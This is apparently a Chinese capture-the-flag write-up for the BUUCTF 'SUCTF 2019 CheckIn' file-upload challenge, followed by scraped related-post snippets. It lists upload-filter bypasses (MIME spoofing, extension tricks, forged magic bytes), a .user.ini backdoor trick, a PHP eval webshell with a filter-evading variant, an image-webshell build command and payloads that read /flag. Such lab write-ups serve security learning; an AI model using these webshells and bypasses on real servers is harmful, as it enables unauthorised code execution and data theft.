文件上传
文件上传一般验证方式:
1.本地js验证(客户端)
2.MIME验证(服务端)
3.拓展名验证(服务端)
4.脚本内容(文件头)验证(服务端)
通常会用到exif_imagetype()函数,这个函数会读取图片头并返回一个数组
绕过方法:
1.本地js验证
方法很多,直接f12删除限制的代码再提交表单
2.mime验证
抓包修改content-type的内容就行了 一般这个验证对应得验证代码如下
$_FILES['upfile']['type'] == 'image/gif' //png、jpg.....
3.拓展名验证
多找一些,尝试找到有没有服务器漏掉得,比如php5,php7
大小写看能否能绕过
0x00绕过
4.文件头验证
修改文件头
JPG :FF D8 FF E0 00 10 4A 46 49 46 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
PNG: 89 50 4E 47 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
GIF(相当于文本的GIF89a):47 49 46 38 39 61 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
上传图片马
###但注意一个问题,上传图片马直接访问还是不能执行代码,因为根本不会调用php解析器去解析,一般要配合文件包含漏洞,或者是解析漏洞
##文件上传漏洞一般会和解析漏洞相结合,比如iis6.0就有一个漏洞会把.cer文件当作php执行,这种类似得解析漏洞可以在网上寻找

参考一片文件上传得绕过博客:
https://blog.csdn.net/ncafei/article/details/53401961

回到这道题:
随手丢一张图片,发现返回一串数组

可以猜测这里采用得是文件头验证,可以制作图片马绕过。

但是,图片马需要配合解析漏洞或者是文件包含漏洞,这里用到.uesr.ini配置文件制造了一个文件漏洞 //这道题没有限制 相似漏洞还有apache得.htaccess文件修改解析规则
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
推荐这个文章,里面讲到怎么利用

上传.user.ini文件  ##但是注意这里需要伪造文件头

上传一句话图片木马 

第一次一句话我写得<?php @eval($_POST['a'])?>

发现 <?被过滤 ,这里只需要还一句话就行了  <script language="php">eval($_POST['a']);</script>

//图片转载 kk师傅 https://www.yuque.com/kkdlong/arhmr1/rv2kpf#MjehS

上传后上传图片马 制作方法

cmd copy /b 1.jpg+1.txt test.jpg  //注意图片名要和user.ini里面得文件名相同

然后上传

然后直接菜刀连接拿到答案

或者直接输入命令 post a=var_dump(scandir("/"));

a=var_dump(file_get_contents("/flag"));

BUUCTF--checkin的更多相关文章

  1. BUUCTF | [SUCTF 2019]CheckIn

    感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...

  2. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  3. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  4. BUUCTF Crypto_WP(2)

    BUUCTF Crypto WP 几道密码学wp [GXYCTF2019]CheckIn 知识点:Base64,rot47 下载文件后,发现一个txt文件,打开发现一串base64,界面之后出现一串乱 ...

  5. 奇葩问题:This file could not be checked in because the original version of the file on the server was moved or deleted. A new version of this file has been saved to the server, but your check-in comments were not saved

    "This file could not be checked in because the original version of the file on the server was m ...

  6. 持续集成之戏说Check-in Dance

    尽管Thoughtworks的首席科学家Martion folwer 为“持续集成 ” 下了定义,但由于自身背景与经历的不同,每个人对其都有不同的理解.从狭义上讲,持续集成可以认为是一种基于某种或者某 ...

  7. TFS二次开发06——签入(CheckIn)

    一个Item 就是一个文件或文件夹 using Microsoft.TeamFoundation.Client; using Microsoft.TeamFoundation.VersionContr ...

  8. 持续集成之戏说Check-in Dance(转)

    add by zhj: 先说一下持续集成的定义,这是ThoughtWorks首席科学家Martin Fowler在<持续集成>第二版中给出的,“持续集成是一种软件开发实践.在持续集成中,团 ...

  9. because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checkin

    1 前言 浏览器报错误(chrome和firefox都会):because its MIME type ('text/html') is not a supported stylesheet MIME ...

  10. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

随机推荐

  1. Java 静态工厂模式的使用

    多相关文章请参考:http://www.enjoytoday.cn/categorys/java 静态工厂模式给人的第一印象就是:static+abstract.这两个词汇已经说明了一切,一个是周期长 ...

  2. 安装quickLook插件以及解决如何不能读取offic问题

    目录 @(安装quickLook插件) quickLook插件是Mac上的快速浏览的一个功能,现在win10系统上也能安装插件,这个插件可以快速浏览txt,doc,图片,表格等文件如下图: 我认为最方 ...

  3. [20190520]exp imp on th fly.txt

    [20190520]exp imp on th fly.txt --//以前做的测试,查找浪费许多时间,做1个记录.--//注:仅仅linux 操作系统,bash shell版本不能太低就可以实现,现 ...

  4. zabbix使用钉钉告警

    1.钉钉创建群 2.[root@localhost ~]# vim /etc/zabbix/zabbix_server.conf # 配置文件中查找”Alert”查看告警脚本存放路径 [root@lo ...

  5. Redis缓存策略

    常用策略有“求留余数法”和“一致性HASH算法” redis存储的是key,value键值对 一.求留余数法 使用HASH表数据长度对HASHCODE求余数,余数作为索引,使用该余数,直接设置或访问缓 ...

  6. 【oracle】DATE输出是什么东西

    SELECT TO_CHAR(SYSDATE) FROM DUAL;

  7. go 基本语法

    ====type==== import ( "fmt" ) func main() { type bigint byte //定义类型 var a bigint fmt.Print ...

  8. 使用Qiniu-JavaScript-SDK上传文件至七牛云存储

    一.Qiniu-JavaScript-SDK介绍 基于 JS-SDK 可以方便的从浏览器端上传文件至七牛云存储,并对上传成功后的图片进行丰富的数据处理操作. JS-SDK 兼容支持 H5 File A ...

  9. Codeforces Round #573 (Div. 2) Tokitsukaze and Mahjong 水题

    B. Tokitsukaze and Mahjong time limit per test1 second memory limit per test256 megabytes Tokitsukaz ...

  10. [日常] NOI2019 退役记

    这次要彻底退役了 开个坑先 Day -2 出发坐车去gz 好像和上次去雅礼的车是同一趟于是大家都以为和上次一样是 \(10:40\) 开车, 于是提前2h大概八点多就去坐公交了 到了之后取票, 发现票 ...